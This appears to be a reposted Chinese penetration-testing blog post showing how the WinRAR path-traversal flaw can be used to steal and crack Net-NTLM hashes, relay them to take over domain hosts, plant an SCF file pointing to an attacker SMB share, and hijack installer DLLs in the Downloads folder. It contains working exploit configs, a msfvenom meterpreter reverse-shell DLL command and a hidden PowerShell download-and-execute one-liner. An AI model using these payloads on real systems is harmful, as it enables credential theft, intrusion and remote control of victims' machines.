当前位置: 首页 > news >正文

渗透测试-apt攻击与防御系列-利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持

apt攻击与防御系列

  • 利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持
    • 漏洞利用
      • 获取受害者的Net-NTLM Hash
      • 使⽤HashCat来暴⼒破解
      • 域控
      • 释放SCF⽂件
      • 借助下载⽂件夹安装程序DLL劫持
      • 投放LNK⽂件

致敬亮神-2019

利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持

域控:Windows 2008 R2
目标主机:Windows7*2

漏洞利用

  1. 穿透目录释放文件到开机启动菜单
  2. 获取受害者的Net NTLM Hash
  3. 借助下载文件夹安装程序DLL劫持
  4. 投放恶意的 LNK 文件

获取受害者的Net-NTLM Hash

⼯具:responder、hashcat
https://github.com/lgandx/responder/
https://hashcat.net/hashcat/

⼯作组⼯具:https://github.com/WyAtu/CVE-2018-20250
把下⾯的target_filename中的IP地址改成攻击者的就可以了。

# The archive filename you want 
rar_filename = "test.rar" 
# The evil file you want to run 
evil_filename = "WinRAR.dll" 
# The decompression path you want, such shown below 
target_filename = r"C:\\\x.x.x.x\smb\SHFOLDER.dll" 
# Other files to be displayed when the victim opens the winrar 
# filename_list=[] 
filename_list = ["hello.txt", "world.txt"]

查看配置⽂件 /usr/share/responder/Responder.conf ,检查SMB服务是否为On。

使⽤的⽹卡是vboxnet0,需要root权限。通过使⽤参数-I指定⽹卡运⾏

 sudo responder -I vboxnet0 -wrfv --lm

在这里插入图片描述
有主机通过SMB共享访问了我的Arch,并获取到了⽤⼾名和Net NTLM
Hash。

在这里插入图片描述
获取到Net NTLM Hash之后

使⽤HashCat来暴⼒破解

就我的Intel 的破CPU都能跑1277.4 kH/s
不过之前要安装OpenCL的库,如果是⽤显卡跑就更快了。

把最后⼀个Hash复制出来
在这里插入图片描述
查看加密算法模块对应的编号,上⾯看到的是 NTLMv2 ,所以我们使⽤5600

 ~ hashcat --help|grep NTLM 
 5500 | NetNTLMv1 | Network Protocols 
 5500 | NetNTLMv1+ESS | Network Protocols 
 5600 | NetNTLMv2 | Network Protocols 
 1000 | NTLM | Operating Systems

在这里插入图片描述
截图上⾯我标记出来的就是密码了,
只要你的字典够强⼤,我的字典只有⼀万⾏,⼀秒都不⽤就跑完了。
拿到密码就可以登录上去或者执⾏各种命令都是可以的。

域控

如果⽬标是域控就可以使⽤Hash中继来直接登录域内的主机。
还是打开responder的配置⽂件,这次是把HTTP和SMB服务改成Off,
因为等⼀下⽤到另⼀个⼯具的时候要监听445和80端⼝。

⼯具:MultiRelay.py,在responder的tool⽬录下。
最好先切换到responder⽬录下,
因为在获取到Windows的Shell的时候要使⽤MultiRelay⽬录⾥的⼯具。

 ~ cd /usr/share/responder/tools 
 sudo python2 ./MultiRelay.py -t 192.168.56.106 -u ALL

-t后⾯接着是你想攻击主机的IP地址,
-u是⽤⼾名,这⾥选择所有,就是ALL。

再打开⼀个终端,执⾏

~ sudo responder -I vboxnet0 -wrfv --lm

现在只要域控访问了Arch监听的SMB服务,
就可以获取域控的Net NTLM Hash,这样就可以登录域内的主机了,基本是指哪打哪。

在这里插入图片描述
拿到了主机权限,可以读取明⽂密码。
但是这⾥上传到主机 的被⽕绒拦截了。
在这里插入图片描述
在这里插入图片描述

释放SCF⽂件

还有⼀种释放.scf⽂件获取⽬标的Net NTLM Hash的,
释放到磁盘的根⽬录,只要打开我的电脑就会访问攻击 者的SMB服务,
获取Hash⼀把梭。
新建⼀个⽂本后缀改为.scf,把下⾯的内容复制进去,
IP地址改为攻击者的。
添加进压缩包,其实解压到能看到的地⽅都可以触发。

 [Shell] Command=2 
 IconFile=\\x.x.x.x\icon.ico 
 [Taskbar] Command=ToggleDesktop

当然还有desktop.ini、autorun.inf这些可以设置icon图标和设置⽂件夹的背景图⽚的,
也可以使⽤file协议远程 加载攻击者的SMB服务

借助下载⽂件夹安装程序DLL劫持

因为WinRAR这个跨⽂件⽬录释放的漏洞本来就不怎么容易利⽤,
⽽且DLL劫持也需要知道别⼈电脑⾥有什么软件,
还得知道别⼈装的软件哪⾥存在DLL劫持。这真的是难上加难了。所以下⾯的思路仅供脑补,会有很多很多假设。

既然我们不知道⽬标主机上有什么软件,那就要找⼀个⽐较通⽤的DLL,然后发现很多安装包程序就存在很多DLL劫持漏洞,
在测试时发现了阿⾥⼏个客⼾端都存在DLL劫持,
甚⾄连我想安装的⽕绒杀毒软件也存在同样的问题。

那我就推测是不是打包成安装包的⼯具有问题。
下⾯是我测试安装包,存在DLL劫持的,我只是测试了⼏个,这么巧,这⼏个都存在DLL劫持。
旺旺客⼾端的

C:\Windows\system32\CRYPTBASE.dll 
C:\Windows\system32\WindowsCodecs.dll 
C:\Windows\system32\SspiCli.dll 
C:\Windows\system32\dwmapi.dll 
C:\Windows\system32\ntmarta.dll 
C:\Windows\system32\dnsapi.DLL 
C:\Windows\system32\iphlpapi.DLL 
C:\Windows\system32\RASAPI32.dll 
C:\Windows\system32\rtutils.dll 
C:\Windows\system32\sensapi.dll 
C:\Windows\system32\rasadhlp.dll 
C:\Windows\system32\VERSION.dll

千⽜客⼾端的

C:\Windows\system32\CRYPTBASE.dll 
C:\Windows\system32\SHFOLDER.DLL 
C:\Windows\system32\ntmarta.dll 
C:\Windows\system32\dwmapi.dll

钉钉还有⽕绒也差不多和上⾯的⼀样,但是在测试时卡死了N次
在测试了上⾯⼏个安装包后统计出来⼀个特点,
你会发现DLL全部是⼤写字⺟的,⾮常的通⽤,SHFOLDER.DLL
可以⽀持三个安装包的劫持效果。
旺旺的可以使⽤RASAPI32.dll。 释放到下载⽬录的部分代码。

 # The archive filename you want 
 rar_filename = "test.rar" 
 # The evil file you want to run 
 evil_filename = "WinRAR.dll" 
 # The decompression path you want, such shown below 
 target_filename = r"C:\C:C:../Downloads\SHFOLDER.dll" 
 # Other files to be displayed when the victim opens the winrar 
 # filename_list=[] 
 filename_list = ["hello.txt", "world.txt"]

⽽且这些安装包会在⼀个⽐较固定的⽬录,那就是下载⽂件夹。
假设我利⽤WinRAR的跨⽬录释放了⼀个DLL到 了下载⽂件夹这个⽬录,
然后⽤⼾从上⾯这些客⼾端的安装包官⽅⽹站下载的正常⽂件回来,下载完了直接点 击打开运⾏,这样就会加载我释放出来的DLL,达到攻击的⽬的。

下⾯图⽚中是千⽜客⼾端的安装包加载下载⽬录中的DLL后打开了计算器,
在模块列表中看到是加载了攻击者的DLL。

在这里插入图片描述
⼯具:⼀个DLL⽂件。

 msfvenom -p windows/meterpreter/reverse_tcp LPORT=7788 LHOST=192.168.56.1 -a x86 -f dll >WinRAR.dll

MSF⽣成⼀个DLL
有⼀个问题劫持了之后安装包不能正常运⾏,这是DLL的问题,⾃⼰写的应该就不会了。
或者使⽤CobaltStrike⽣成的DLL可以正常安装,
但是要做好进程迁移,因为安装包结束了,⼦进程也会跟着关 闭,这样就控制不了了

投放LNK⽂件

在CobaltStrike⾥使⽤PowerShell远程加载。

 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.56.109:80/a'))"

⼀般弄⼀个常⻅的快捷键什么都会被杀毒软件拦截。

参考

https://github.com/incredibleindishell/Windows-AD-environment-related/tree/master/Responder
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

相关文章:

  • MySQL的多表查询
  • Linux下udev应用
  • Responder的使用
  • 【小月电子】FPGA开发板(XLOGIC_V1)系统学习教程-LESSON6
  • JAVA和JVM和JDK和JRE和JAVA SE 是什么? 他们有什么区别? 怎么区分 编程下哪个?
  • Hydro-bzoj,你用过吗?
  • 【云原生 · Kubernetes】apiserver高可用
  • Mendeley教程(3)引用各种文献
  • 研发中学习git(小趴菜)
  • C++ 数据结构与算法(十三)(单调栈)
  • MySQL高级篇——存储过程和函数中的变量
  • pytorch迁移学习载入部分权重
  • 【正点原子STM32连载】第二十四章 内存保护(MPU)实验 摘自【正点原子】MiniPro STM32H750 开发指南_V1.1
  • 【无标题】qml与c++数据交互的一种方式
  • 在线教育项目【老师管理-前端实现】
  • [译]Python中的类属性与实例属性的区别
  • 【翻译】babel对TC39装饰器草案的实现
  • Android Studio:GIT提交项目到远程仓库
  • eclipse(luna)创建web工程
  • ES6 学习笔记(一)let,const和解构赋值
  • Golang-长连接-状态推送
  • Laravel 中的一个后期静态绑定
  • nginx 配置多 域名 + 多 https
  • PHP面试之三:MySQL数据库
  • 阿里云购买磁盘后挂载
  • 判断客户端类型,Android,iOS,PC
  • 什么软件可以提取视频中的音频制作成手机铃声
  • 微服务核心架构梳理
  • ​​​​​​​sokit v1.3抓手机应用socket数据包: Socket是传输控制层协议,WebSocket是应用层协议。
  • # Swust 12th acm 邀请赛# [ A ] A+B problem [题解]
  • #mysql 8.0 踩坑日记
  • (附源码)springboot炼糖厂地磅全自动控制系统 毕业设计 341357
  • (十)DDRC架构组成、效率Efficiency及功能实现
  • (原创)boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • .aanva
  • .describe() python_Python-Win32com-Excel
  • .equal()和==的区别 怎样判断字符串为空问题: Illegal invoke-super to void nio.file.AccessDeniedException
  • .naturalWidth 和naturalHeight属性,
  • .NET CORE 第一节 创建基本的 asp.net core
  • .Net Core与存储过程(一)
  • .Net IOC框架入门之一 Unity
  • .NET 除了用 Task 之外,如何自己写一个可以 await 的对象?
  • .NET 中使用 Mutex 进行跨越进程边界的同步
  • .NET版Word处理控件Aspose.words功能演示:在ASP.NET MVC中创建MS Word编辑器
  • .net开发时的诡异问题,button的onclick事件无效
  • .NET是什么
  • .net中我喜欢的两种验证码
  • .pings勒索病毒的威胁:如何应对.pings勒索病毒的突袭?
  • @serverendpoint注解_SpringBoot 使用WebSocket打造在线聊天室(基于注解)
  • @zabbix数据库历史与趋势数据占用优化(mysql存储查询)
  • [Android View] 可绘制形状 (Shape Xml)
  • [Android 数据通信] android cmwap接入点
  • [Android]使用Retrofit进行网络请求
  • [AX]AX2012 AIF(四):文档服务应用实例
  • [C#]OpenCvSharp结合yolov8-face实现L2CS-Net眼睛注视方向估计或者人脸朝向估计